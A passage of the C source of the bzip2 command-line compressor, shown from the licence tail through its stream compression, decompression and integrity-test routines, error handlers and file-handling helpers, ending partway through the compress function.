ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Julian Seward, Cambridge, UK.
[email protected]
bzip2/libbzip2 version 1.0 of 21 March 2000
This program is based on (at least) the work of:
Mike Burrows
David Wheeler
Peter Fenwick
Alistair Moffat
Radford Neal
Ian H. Witten
Robert Sedgewick
Jon L. Bentley
For more information on these sources, see the manual.
--*/
/*----------------------------------------------------*/
/*--- IMPORTANT ---*/
/*----------------------------------------------------*/
/*--
WARNING:
This program and library (attempts to) compress data by
performing several non-trivial transformations on it.
Unless you are 100% familiar with *all* the algorithms
contained herein, and with the consequences of modifying them,
you should NOT meddle with the compression or decompression
machinery. Incorrect changes can and very likely *will*
lead to disasterous loss of data.
DISCLAIMER:
I TAKE NO RESPONSIBILITY FOR ANY LOSS OF DATA ARISING FROM THE
USE OF THIS PROGRAM, HOWSOEVER CAUSED.
Every compression of a file implies an assumption that the
compressed file can be decompressed to reproduce the original.
Great efforts in design, coding and testing have been made to
ensure that this program works correctly. However, the
complexity of the algorithms, and, in particular, the presence
of various special cases in the code which occur with very low
but non-zero probability make it impossible to rule out the
possibility of bugs remaining in the program. DO NOT COMPRESS
ANY DATA WITH THIS PROGRAM AND/OR LIBRARY UNLESS YOU ARE PREPARED
TO ACCEPT THE POSSIBILITY, HOWEVER SMALL, THAT THE DATA WILL
NOT BE RECOVERABLE.
That is not to say this program is inherently unreliable.
Indeed, I very much hope the opposite is true. bzip2/libbzip2
has been carefully constructed and extensively tested.
PATENTS:
To the best of my knowledge, bzip2/libbzip2 does not use any
patented algorithms. However, I do not have the resources
available to carry out a full patent search. Therefore I cannot
give any guarantee of the above statement.
--*/
/*----------------------------------------------------*/
/*--- and now for something much more pleasant :-) ---*/
/*----------------------------------------------------*/
/*---------------------------------------------*/
/*--
Place a 1 beside your platform, and 0 elsewhere.
--*/
/*--
Generic 32-bit Unix.
Also works on 64-bit Unix boxes.
This is the default.
--*/
#define BZ_UNIX 1
/*--
Win32, as seen by Jacob Navia's excellent
port of (Chris Fraser & David Hanson)'s excellent
lcc compiler. Or with MS Visual C.
This is selected automatically if compiled by a compiler which
defines _WIN32, not including the Cygwin GCC.
--*/
#define BZ_LCCWIN32 0
#if defined(_WIN32) && !defined(__CYGWIN__)
#undef BZ_LCCWIN32
#define BZ_LCCWIN32 1
#undef BZ_UNIX
#define BZ_UNIX 0
#endif
/*---------------------------------------------*/
/*--
Some stuff for all platforms.
--*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <math.h>
#include <errno.h>
#include <ctype.h>
#include "bzlib.h"
#define ERROR_IF_EOF(i) { if ((i) == EOF) ioError(); }
#define ERROR_IF_NOT_ZERO(i) { if ((i) != 0) ioError(); }
#define ERROR_IF_MINUS_ONE(i) { if ((i) == (-1)) ioError(); }
/*---------------------------------------------*/
/*--
Platform-specific stuff.
--*/
#if BZ_UNIX
# include <fcntl.h>
# include <sys/types.h>
# include <utime.h>
# include <unistd.h>
# include <sys/stat.h>
# include <sys/times.h>
# define PATH_SEP '/'
# define MY_LSTAT lstat
# define MY_STAT stat
# define MY_S_ISREG S_ISREG
# define MY_S_ISDIR S_ISDIR
# define APPEND_FILESPEC(root, name) \
root=snocString((root), (name))
# define APPEND_FLAG(root, name) \
root=snocString((root), (name))
# define SET_BINARY_MODE(fd) /**/
# ifdef __GNUC__
# define NORETURN __attribute__ ((noreturn))
# else
# define NORETURN /**/
# endif
# ifdef __DJGPP__
# include <io.h>
# include <fcntl.h>
# undef MY_LSTAT
# undef MY_STAT
# define MY_LSTAT stat
# define MY_STAT stat
# undef SET_BINARY_MODE
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
# endif
# ifdef __CYGWIN__
# include <io.h>
# include <fcntl.h>
# undef SET_BINARY_MODE
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
# endif
#endif /* BZ_UNIX */
#if BZ_LCCWIN32
# include <io.h>
# include <fcntl.h>
# include <sys\stat.h>
# define NORETURN /**/
# define PATH_SEP '\\'
# define MY_LSTAT _stat
# define MY_STAT _stat
# define MY_S_ISREG(x) ((x) & _S_IFREG)
# define MY_S_ISDIR(x) ((x) & _S_IFDIR)
# define APPEND_FLAG(root, name) \
root=snocString((root), (name))
# define APPEND_FILESPEC(root, name) \
root = snocString ((root), (name))
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
#endif /* BZ_LCCWIN32 */
/*---------------------------------------------*/
/*--
Some more stuff for all platforms :-)
--*/
typedef char Char;
typedef unsigned char Bool;
typedef unsigned char UChar;
typedef int Int32;
typedef unsigned int UInt32;
typedef short Int16;
typedef unsigned short UInt16;
#define True ((Bool)1)
#define False ((Bool)0)
/*--
IntNative is your platform's `native' int size.
Only here to avoid probs with 64-bit platforms.
--*/
typedef int IntNative;
/*---------------------------------------------------*/
/*--- Misc (file handling) data decls ---*/
/*---------------------------------------------------*/
Int32 verbosity;
Bool keepInputFiles, smallMode, deleteOutputOnInterrupt;
Bool forceOverwrite, testFailsExist, unzFailsExist, noisy;
Int32 numFileNames, numFilesProcessed, blockSize100k;
Int32 exitValue;
/*-- source modes; F==file, I==stdin, O==stdout --*/
#define SM_I2O 1
#define SM_F2O 2
#define SM_F2F 3
/*-- operation modes --*/
#define OM_Z 1
#define OM_UNZ 2
#define OM_TEST 3
Int32 opMode;
Int32 srcMode;
#define FILE_NAME_LEN 1034
Int32 longestFileName;
Char inName [FILE_NAME_LEN];
Char outName[FILE_NAME_LEN];
Char tmpName[FILE_NAME_LEN];
Char *progName;
Char progNameReally[FILE_NAME_LEN];
FILE *outputHandleJustInCase;
Int32 workFactor;
static void panic ( Char* ) NORETURN;
static void ioError ( void ) NORETURN;
static void outOfMemory ( void ) NORETURN;
static void configError ( void ) NORETURN;
static void crcError ( void ) NORETURN;
static void cleanUpAndFail ( Int32 ) NORETURN;
static void compressedStreamEOF ( void ) NORETURN;
static void copyFileName ( Char*, Char* );
static void* myMalloc ( Int32 );
/*---------------------------------------------------*/
/*--- An implementation of 64-bit ints. Sigh. ---*/
/*--- Roll on widespread deployment of ANSI C9X ! ---*/
/*---------------------------------------------------*/
typedef
struct { UChar b[8]; }
UInt64;
static
void uInt64_from_UInt32s ( UInt64* n, UInt32 lo32, UInt32 hi32 )
{
n->b[7] = (UChar)((hi32 >> 24) & 0xFF);
n->b[6] = (UChar)((hi32 >> 16) & 0xFF);
n->b[5] = (UChar)((hi32 >> 8) & 0xFF);
n->b[4] = (UChar) (hi32 & 0xFF);
n->b[3] = (UChar)((lo32 >> 24) & 0xFF);
n->b[2] = (UChar)((lo32 >> 16) & 0xFF);
n->b[1] = (UChar)((lo32 >> 8) & 0xFF);
n->b[0] = (UChar) (lo32 & 0xFF);
}
static
double uInt64_to_double ( UInt64* n )
{
Int32 i;
double base = 1.0;
double sum = 0.0;
for (i = 0; i < 8; i++) {
sum += base * (double)(n->b[i]);
base *= 256.0;
}
return sum;
}
static
Bool uInt64_isZero ( UInt64* n )
{
Int32 i;
for (i = 0; i < 8; i++)
if (n->b[i] != 0) return 0;
return 1;
}
/* Divide *n by 10, and return the remainder. */
static
Int32 uInt64_qrm10 ( UInt64* n )
{
UInt32 rem, tmp;
Int32 i;
rem = 0;
for (i = 7; i >= 0; i--) {
tmp = rem * 256 + n->b[i];
n->b[i] = tmp / 10;
rem = tmp % 10;
}
return rem;
}
/* ... and the Whole Entire Point of all this UInt64 stuff is
so that we can supply the following function.
*/
static
void uInt64_toAscii ( char* outbuf, UInt64* n )
{
Int32 i, q;
UChar buf[32];
Int32 nBuf = 0;
UInt64 n_copy = *n;
do {
q = uInt64_qrm10 ( &n_copy );
buf[nBuf] = q + '0';
nBuf++;
} while (!uInt64_isZero(&n_copy));
outbuf[nBuf] = 0;
for (i = 0; i < nBuf; i++)
outbuf[i] = buf[nBuf-i-1];
}
/*---------------------------------------------------*/
/*--- Processing of complete files and streams ---*/
/*---------------------------------------------------*/
/*---------------------------------------------*/
static
Bool myfeof ( FILE* f )
{
Int32 c = fgetc ( f );
if (c == EOF) return True;
ungetc ( c, f );
return False;
}
/*---------------------------------------------*/
static
void compressStream ( FILE *stream, FILE *zStream )
{
BZFILE* bzf = NULL;
UChar ibuf[5000];
Int32 nIbuf;
UInt32 nbytes_in_lo32, nbytes_in_hi32;
UInt32 nbytes_out_lo32, nbytes_out_hi32;
Int32 bzerr, bzerr_dummy, ret;
SET_BINARY_MODE(stream);
SET_BINARY_MODE(zStream);
if (ferror(stream)) goto errhandler_io;
if (ferror(zStream)) goto errhandler_io;
bzf = BZ2_bzWriteOpen ( &bzerr, zStream,
blockSize100k, verbosity, workFactor );
if (bzerr != BZ_OK) goto errhandler;
if (verbosity >= 2) fprintf ( stderr, "\n" );
while (True) {
if (myfeof(stream)) break;
nIbuf = fread ( ibuf, sizeof(UChar), 5000, stream );
if (ferror(stream)) goto errhandler_io;
if (nIbuf > 0) BZ2_bzWrite ( &bzerr, bzf, (void*)ibuf, nIbuf );
if (bzerr != BZ_OK) goto errhandler;
}
BZ2_bzWriteClose64 ( &bzerr, bzf, 0,
&nbytes_in_lo32, &nbytes_in_hi32,
&nbytes_out_lo32, &nbytes_out_hi32 );
if (bzerr != BZ_OK) goto errhandler;
if (ferror(zStream)) goto errhandler_io;
ret = fflush ( zStream );
if (ret == EOF) goto errhandler_io;
if (zStream != stdout) {
ret = fclose ( zStream );
outputHandleJustInCase = NULL;
if (ret == EOF) goto errhandler_io;
}
outputHandleJustInCase = NULL;
if (ferror(stream)) goto errhandler_io;
ret = fclose ( stream );
if (ret == EOF) goto errhandler_io;
if (verbosity >= 1) {
if (nbytes_in_lo32 == 0 && nbytes_in_hi32 == 0) {
fprintf ( stderr, " no data compressed.\n");
} else {
Char buf_nin[32], buf_nout[32];
UInt64 nbytes_in, nbytes_out;
double nbytes_in_d, nbytes_out_d;
uInt64_from_UInt32s ( &nbytes_in,
nbytes_in_lo32, nbytes_in_hi32 );
uInt64_from_UInt32s ( &nbytes_out,
nbytes_out_lo32, nbytes_out_hi32 );
nbytes_in_d = uInt64_to_double ( &nbytes_in );
nbytes_out_d = uInt64_to_double ( &nbytes_out );
uInt64_toAscii ( buf_nin, &nbytes_in );
uInt64_toAscii ( buf_nout, &nbytes_out );
fprintf ( stderr, "%6.3f:1, %6.3f bits/byte, "
"%5.2f%% saved, %s in, %s out.\n",
nbytes_in_d / nbytes_out_d,
(8.0 * nbytes_out_d) / nbytes_in_d,
100.0 * (1.0 - nbytes_out_d / nbytes_in_d),
buf_nin,
buf_nout
);
}
}
return;
errhandler:
BZ2_bzWriteClose64 ( &bzerr_dummy, bzf, 1,
&nbytes_in_lo32, &nbytes_in_hi32,
&nbytes_out_lo32, &nbytes_out_hi32 );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_MEM_ERROR:
outOfMemory (); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
default:
panic ( "compress:unexpected error" );
}
panic ( "compress:end" );
/*notreached*/
}
/*---------------------------------------------*/
static
Bool uncompressStream ( FILE *zStream, FILE *stream )
{
BZFILE* bzf = NULL;
Int32 bzerr, bzerr_dummy, ret, nread, streamNo, i;
UChar obuf[5000];
UChar unused[BZ_MAX_UNUSED];
Int32 nUnused;
UChar* unusedTmp;
nUnused = 0;
streamNo = 0;
SET_BINARY_MODE(stream);
SET_BINARY_MODE(zStream);
if (ferror(stream)) goto errhandler_io;
if (ferror(zStream)) goto errhandler_io;
while (True) {
bzf = BZ2_bzReadOpen (
&bzerr, zStream, verbosity,
(int)smallMode, unused, nUnused
);
if (bzf == NULL || bzerr != BZ_OK) goto errhandler;
streamNo++;
while (bzerr == BZ_OK) {
nread = BZ2_bzRead ( &bzerr, bzf, obuf, 5000 );
if (bzerr == BZ_DATA_ERROR_MAGIC) goto trycat;
if ((bzerr == BZ_OK || bzerr == BZ_STREAM_END) && nread > 0)
fwrite ( obuf, sizeof(UChar), nread, stream );
if (ferror(stream)) goto errhandler_io;
}
if (bzerr != BZ_STREAM_END) goto errhandler;
BZ2_bzReadGetUnused ( &bzerr, bzf, (void**)(&unusedTmp), &nUnused );
if (bzerr != BZ_OK) panic ( "decompress:bzReadGetUnused" );
for (i = 0; i < nUnused; i++) unused[i] = unusedTmp[i];
BZ2_bzReadClose ( &bzerr, bzf );
if (bzerr != BZ_OK) panic ( "decompress:bzReadGetUnused" );
if (nUnused == 0 && myfeof(zStream)) break;
}
closeok:
if (ferror(zStream)) goto errhandler_io;
ret = fclose ( zStream );
if (ret == EOF) goto errhandler_io;
if (ferror(stream)) goto errhandler_io;
ret = fflush ( stream );
if (ret != 0) goto errhandler_io;
if (stream != stdout) {
ret = fclose ( stream );
outputHandleJustInCase = NULL;
if (ret == EOF) goto errhandler_io;
}
outputHandleJustInCase = NULL;
if (verbosity >= 2) fprintf ( stderr, "\n " );
return True;
trycat:
if (forceOverwrite) {
rewind(zStream);
while (True) {
if (myfeof(zStream)) break;
nread = fread ( obuf, sizeof(UChar), 5000, zStream );
if (ferror(zStream)) goto errhandler_io;
if (nread > 0) fwrite ( obuf, sizeof(UChar), nread, stream );
if (ferror(stream)) goto errhandler_io;
}
goto closeok;
}
errhandler:
BZ2_bzReadClose ( &bzerr_dummy, bzf );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
case BZ_DATA_ERROR:
crcError();
case BZ_MEM_ERROR:
outOfMemory();
case BZ_UNEXPECTED_EOF:
compressedStreamEOF();
case BZ_DATA_ERROR_MAGIC:
if (zStream != stdin) fclose(zStream);
if (stream != stdout) fclose(stream);
if (streamNo == 1) {
return False;
} else {
if (noisy)
fprintf ( stderr,
"\n%s: %s: trailing garbage after EOF ignored\n",
progName, inName );
return True;
}
default:
panic ( "decompress:unexpected error" );
}
panic ( "decompress:end" );
return True; /*notreached*/
}
/*---------------------------------------------*/
static
Bool testStream ( FILE *zStream )
{
BZFILE* bzf = NULL;
Int32 bzerr, bzerr_dummy, ret, nread, streamNo, i;
UChar obuf[5000];
UChar unused[BZ_MAX_UNUSED];
Int32 nUnused;
UChar* unusedTmp;
nUnused = 0;
streamNo = 0;
SET_BINARY_MODE(zStream);
if (ferror(zStream)) goto errhandler_io;
while (True) {
bzf = BZ2_bzReadOpen (
&bzerr, zStream, verbosity,
(int)smallMode, unused, nUnused
);
if (bzf == NULL || bzerr != BZ_OK) goto errhandler;
streamNo++;
while (bzerr == BZ_OK) {
nread = BZ2_bzRead ( &bzerr, bzf, obuf, 5000 );
if (bzerr == BZ_DATA_ERROR_MAGIC) goto errhandler;
}
if (bzerr != BZ_STREAM_END) goto errhandler;
BZ2_bzReadGetUnused ( &bzerr, bzf, (void**)(&unusedTmp), &nUnused );
if (bzerr != BZ_OK) panic ( "test:bzReadGetUnused" );
for (i = 0; i < nUnused; i++) unused[i] = unusedTmp[i];
BZ2_bzReadClose ( &bzerr, bzf );
if (bzerr != BZ_OK) panic ( "test:bzReadGetUnused" );
if (nUnused == 0 && myfeof(zStream)) break;
}
if (ferror(zStream)) goto errhandler_io;
ret = fclose ( zStream );
if (ret == EOF) goto errhandler_io;
if (verbosity >= 2) fprintf ( stderr, "\n " );
return True;
errhandler:
BZ2_bzReadClose ( &bzerr_dummy, bzf );
if (verbosity == 0)
fprintf ( stderr, "%s: %s: ", progName, inName );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
case BZ_DATA_ERROR:
fprintf ( stderr,
"data integrity (CRC) error in data\n" );
return False;
case BZ_MEM_ERROR:
outOfMemory();
case BZ_UNEXPECTED_EOF:
fprintf ( stderr,
"file ends unexpectedly\n" );
return False;
case BZ_DATA_ERROR_MAGIC:
if (zStream != stdin) fclose(zStream);
if (streamNo == 1) {
fprintf ( stderr,
"bad magic number (file not created by bzip2)\n" );
return False;
} else {
if (noisy)
fprintf ( stderr,
"trailing garbage after EOF ignored\n" );
return True;
}
default:
panic ( "test:unexpected error" );
}
panic ( "test:end" );
return True; /*notreached*/
}
/*---------------------------------------------------*/
/*--- Error [non-] handling grunge ---*/
/*---------------------------------------------------*/
/*---------------------------------------------*/
static
void setExit ( Int32 v )
{
if (v > exitValue) exitValue = v;
}
/*---------------------------------------------*/
static
void cadvise ( void )
{
if (noisy)
fprintf (
stderr,
"\nIt is possible that the compressed file(s) have become corrupted.\n"
"You can use the -tvv option to test integrity of such files.\n\n"
"You can use the `bzip2recover' program to attempt to recover\n"
"data from undamaged sections of corrupted files.\n\n"
);
}
/*---------------------------------------------*/
static
void showFileNames ( void )
{
if (noisy)
fprintf (
stderr,
"\tInput file = %s, output file = %s\n",
inName, outName
);
}
/*---------------------------------------------*/
static
void cleanUpAndFail ( Int32 ec )
{
IntNative retVal;
struct MY_STAT statBuf;
if ( srcMode == SM_F2F
&& opMode != OM_TEST
&& deleteOutputOnInterrupt ) {
/* Check whether input file still exists. Delete output file
only if input exists to avoid loss of data. Joerg Prante, 5
January 2002. (JRS 06-Jan-2002: other changes in 1.0.2 mean
this is less likely to happen. But to be ultra-paranoid, we
do the check anyway.) */
retVal = MY_STAT ( inName, &statBuf );
if (retVal == 0) {
if (noisy)
fprintf ( stderr,
"%s: Deleting output file %s, if it exists.\n",
progName, outName );
if (outputHandleJustInCase != NULL)
fclose ( outputHandleJustInCase );
retVal = remove ( outName );
if (retVal != 0)
fprintf ( stderr,
"%s: WARNING: deletion of output file "
"(apparently) failed.\n",
progName );
} else {
fprintf ( stderr,
"%s: WARNING: deletion of output file suppressed\n",
progName );
fprintf ( stderr,
"%s: since input file no longer exists. Output file\n",
progName );
fprintf ( stderr,
"%s: `%s' may be incomplete.\n",
progName, outName );
fprintf ( stderr,
"%s: I suggest doing an integrity test (bzip2 -tv)"
" of it.\n",
progName );
}
}
if (noisy && numFileNames > 0 && numFilesProcessed < numFileNames) {
fprintf ( stderr,
"%s: WARNING: some files have not been processed:\n"
"%s: %d specified on command line, %d not processed yet.\n\n",
progName, progName,
numFileNames, numFileNames - numFilesProcessed );
}
setExit(ec);
exit(exitValue);
}
/*---------------------------------------------*/
static
void panic ( Char* s )
{
fprintf ( stderr,
"\n%s: PANIC -- internal consistency error:\n"
"\t%s\n"
"\tThis is a BUG. Please report it to me at:\n"
"\[email protected]\n",
progName, s );
showFileNames();
cleanUpAndFail( 3 );
}
/*---------------------------------------------*/
static
void crcError ( void )
{
fprintf ( stderr,
"\n%s: Data integrity error when decompressing.\n",
progName );
showFileNames();
cadvise();
cleanUpAndFail( 2 );
}
/*---------------------------------------------*/
static
void compressedStreamEOF ( void )
{
if (noisy) {
fprintf ( stderr,
"\n%s: Compressed file ends unexpectedly;\n\t"
"perhaps it is corrupted? *Possible* reason follows.\n",
progName );
perror ( progName );
showFileNames();
cadvise();
}
cleanUpAndFail( 2 );
}
/*---------------------------------------------*/
static
void ioError ( void )
{
fprintf ( stderr,
"\n%s: I/O or other error, bailing out. "
"Possible reason follows.\n",
progName );
perror ( progName );
showFileNames();
cleanUpAndFail( 1 );
}
/*---------------------------------------------*/
static
void mySignalCatcher ( IntNative n )
{
fprintf ( stderr,
"\n%s: Control-C or similar caught, quitting.\n",
progName );
cleanUpAndFail(1);
}
/*---------------------------------------------*/
static
void mySIGSEGVorSIGBUScatcher ( IntNative n )
{
if (opMode == OM_Z)
fprintf (
stderr,
"\n%s: Caught a SIGSEGV or SIGBUS whilst compressing.\n"
"\n"
" Possible causes are (most likely first):\n"
" (1) This computer has unreliable memory or cache hardware\n"
" (a surprisingly common problem; try a different machine.)\n"
" (2) A bug in the compiler used to create this executable\n"
" (unlikely, if you didn't compile bzip2 yourself.)\n"
" (3) A real bug in bzip2 -- I hope this should never be the case.\n"
" The user's manual, Section 4.3, has more info on (1) and (2).\n"
" \n"
" If you suspect this is a bug in bzip2, or are unsure about (1)\n"
" or (2), feel free to report it to me at: [email protected].\n"
" Section 4.3 of the user's manual describes the info a useful\n"
" bug report should have. If the manual is available on your\n"
" system, please try and read it before mailing me. If you don't\n"
" have the manual or can't be bothered to read it, mail me anyway.\n"
"\n",
progName );
else
fprintf (
stderr,
"\n%s: Caught a SIGSEGV or SIGBUS whilst decompressing.\n"
"\n"
" Possible causes are (most likely first):\n"
" (1) The compressed data is corrupted, and bzip2's usual checks\n"
" failed to detect this. Try bzip2 -tvv my_file.bz2.\n"
" (2) This computer has unreliable memory or cache hardware\n"
" (a surprisingly common problem; try a different machine.)\n"
" (3) A bug in the compiler used to create this executable\n"
" (unlikely, if you didn't compile bzip2 yourself.)\n"
" (4) A real bug in bzip2 -- I hope this should never be the case.\n"
" The user's manual, Section 4.3, has more info on (2) and (3).\n"
" \n"
" If you suspect this is a bug in bzip2, or are unsure about (2)\n"
" or (3), feel free to report it to me at: [email protected].\n"
" Section 4.3 of the user's manual describes the info a useful\n"
" bug report should have. If the manual is available on your\n"
" system, please try and read it before mailing me. If you don't\n"
" have the manual or can't be bothered to read it, mail me anyway.\n"
"\n",
progName );
showFileNames();
if (opMode == OM_Z)
cleanUpAndFail( 3 ); else
{ cadvise(); cleanUpAndFail( 2 ); }
}
/*---------------------------------------------*/
static
void outOfMemory ( void )
{
fprintf ( stderr,
"\n%s: couldn't allocate enough memory\n",
progName );
showFileNames();
cleanUpAndFail(1);
}
/*---------------------------------------------*/
static
void configError ( void )
{
fprintf ( stderr,
"bzip2: I'm not configured correctly for this platform!\n"
"\tI require Int32, Int16 and Char to have sizes\n"
"\tof 4, 2 and 1 bytes to run properly, and they don't.\n"
"\tProbably you can fix this by defining them correctly,\n"
"\tand recompiling. Bye!\n" );
setExit(3);
exit(exitValue);
}
/*---------------------------------------------------*/
/*--- The main driver machinery ---*/
/*---------------------------------------------------*/
/* All rather crufty. The main problem is that input files
are stat()d multiple times before use. This should be
cleaned up.
*/
/*---------------------------------------------*/
static
void pad ( Char *s )
{
Int32 i;
if ( (Int32)strlen(s) >= longestFileName ) return;
for (i = 1; i <= longestFileName - (Int32)strlen(s); i++)
fprintf ( stderr, " " );
}
/*---------------------------------------------*/
static
void copyFileName ( Char* to, Char* from )
{
if ( strlen(from) > FILE_NAME_LEN-10 ) {
fprintf (
stderr,
"bzip2: file name\n`%s'\n"
"is suspiciously (more than %d chars) long.\n"
"Try using a reasonable file name instead. Sorry! :-)\n",
from, FILE_NAME_LEN-10
);
setExit(1);
exit(exitValue);
}
strncpy(to,from,FILE_NAME_LEN-10);
to[FILE_NAME_LEN-10]='\0';
}
/*---------------------------------------------*/
static
Bool fileExists ( Char* name )
{
FILE *tmp = fopen ( name, "rb" );
Bool exists = (tmp != NULL);
if (tmp != NULL) fclose ( tmp );
return exists;
}
/*---------------------------------------------*/
/* Open an output file safely with O_EXCL and good permissions.
This avoids a race condition in versions < 1.0.2, in which
the file was first opened and then had its interim permissions
set safely. We instead use open() to create the file with
the interim permissions required. (--- --- rw-).
For non-Unix platforms, if we are not worrying about
security issues, simple this simply behaves like fopen.
*/
FILE* fopen_output_safely ( Char* name, const char* mode )
{
# if BZ_UNIX
FILE* fp;
IntNative fh;
fh = open(name, O_WRONLY|O_CREAT|O_EXCL, S_IWUSR|S_IRUSR);
if (fh == -1) return NULL;
fp = fdopen(fh, mode);
if (fp == NULL) close(fh);
return fp;
# else
return fopen(name, mode);
# endif
}
/*---------------------------------------------*/
/*--
if in doubt, return True
--*/
static
Bool notAStandardFile ( Char* name )
{
IntNative i;
struct MY_STAT statBuf;
i = MY_LSTAT ( name, &statBuf );
if (i != 0) return True;
if (MY_S_ISREG(statBuf.st_mode)) return False;
return True;
}
/*---------------------------------------------*/
/*--
rac 11/21/98 see if file has hard links to it
--*/
static
Int32 countHardLinks ( Char* name )
{
IntNative i;
struct MY_STAT statBuf;
i = MY_LSTAT ( name, &statBuf );
if (i != 0) return 0;
return (statBuf.st_nlink - 1);
}
/*---------------------------------------------*/
/* Copy modification date, access date, permissions and owner from the
source to destination file. We have to copy this meta-info off
into fileMetaInfo before starting to compress / decompress it,
because doing it afterwards means we get the wrong access time.
To complicate matters, in compress() and decompress() below, the
sequence of tests preceding the call to saveInputFileMetaInfo()
involves calling fileExists(), which in turn establishes its result
by attempting to fopen() the file, and if successful, immediately
fclose()ing it again. So we have to assume that the fopen() call
does not cause the access time field to be updated.
Reading of the man page for stat() (man 2 stat) on RedHat 7.2 seems
to imply that merely doing open() will not affect the access time.
Therefore we merely need to hope that the C library only does
open() as a result of fopen(), and not any kind of read()-ahead
cleverness.
It sounds pretty fragile to me. Whether this carries across
robustly to arbitrary Unix-like platforms (or even works robustly
on this one, RedHat 7.2) is unknown to me. Nevertheless ...
*/
#if BZ_UNIX
static
struct MY_STAT fileMetaInfo;
#endif
static
void saveInputFileMetaInfo ( Char *srcName )
{
# if BZ_UNIX
IntNative retVal;
/* Note use of stat here, not lstat. */
retVal = MY_STAT( srcName, &fileMetaInfo );
ERROR_IF_NOT_ZERO ( retVal );
# endif
}
static
void applySavedMetaInfoToOutputFile ( Char *dstName )
{
# if BZ_UNIX
IntNative retVal;
struct utimbuf uTimBuf;
uTimBuf.actime = fileMetaInfo.st_atime;
uTimBuf.modtime = fileMetaInfo.st_mtime;
retVal = chmod ( dstName, fileMetaInfo.st_mode );
ERROR_IF_NOT_ZERO ( retVal );
retVal = utime ( dstName, &uTimBuf );
ERROR_IF_NOT_ZERO ( retVal );
retVal = chown ( dstName, fileMetaInfo.st_uid, fileMetaInfo.st_gid );
/* chown() will in many cases return with EPERM, which can
be safely ignored.
*/
# endif
}
/*---------------------------------------------*/
static
Bool containsDubiousChars ( Char* name )
{
# if BZ_UNIX
/* On unix, files can contain any characters and the file expansion
* is performed by the shell.
*/
return False;
# else /* ! BZ_UNIX */
/* On non-unix (Win* platforms), wildcard characters are not allowed in
* filenames.
*/
for (; *name != '\0'; name++)
if (*name == '?' || *name == '*') return True;
return False;
# endif /* BZ_UNIX */
}
/*---------------------------------------------*/
#define BZ_N_SUFFIX_PAIRS 4
Char* zSuffix[BZ_N_SUFFIX_PAIRS]
= { ".bz2", ".bz", ".tbz2", ".tbz" };
Char* unzSuffix[BZ_N_SUFFIX_PAIRS]
= { "", "", ".tar", ".tar" };
static
Bool hasSuffix ( Char* s, Char* suffix )
{
Int32 ns = strlen(s);
Int32 nx = strlen(suffix);
if (ns < nx) return False;
if (strcmp(s + ns - nx, suffix) == 0) return True;
return False;
}
static
Bool mapSuffix ( Char* name,
Char* oldSuffix, Char* newSuffix )
{
if (!hasSuffix(name,oldSuffix)) return False;
name[strlen(name)-strlen(oldSuffix)] = 0;
strcat ( name, newSuffix );
return True;
}
/*---------------------------------------------*/
static
void compress ( Char *name )
{
FILE *inStr;
FILE *outStr;
Int32 n, i;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "compress: bad modes\n" );
switch (srcMode) {
case SM_I2O:
copyFileName ( inName, "(stdin)" );
copyFileName ( outName, "(stdout)" );
break;
case SM_F2F:
copyFileName ( inName, name );
copyFileName ( outName, name );
strcat ( outName, ".bz2" );
break;
case SM_F2O:
copyFileName ( inName, name );
copyFileName ( outName, "(stdout)" );
break;
}
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
for (i = 0; i < BZ_N_SUFFIX_PAIRS; i++) {
if (hasSuffix(inName, zSuffix[i])) {
if (noisy)
fprintf ( stderr,
"%s: Input file %s already has %s suffix.\n",
progName, inName, zSuffix[i] );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F || srcMode == SM_F2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite && notAStandardFile ( inName )) {
if (noisy)
fprintf ( stderr, "%s: Input file %s is not a normal file.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode == SM_F2F && fileExists ( outName ) ) {
if (forceOverwrite) {
remove(outName);
} else {
fprintf ( stderr, "%s: Output file %s already exists.\n",
progName, outName );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite &&
(n=countHardLinks ( inName )) > 0) {
fprintf ( stderr, "%s: Input file %s has %d other link%s.\n",
progName, inName, n, n > 1 ? "s" : "" );
setExit(1);
return;
}
if ( srcMode == SM_F2F ) {
/* Save the file's meta-info before we open it. Doing it later
means we mess up the access times. */
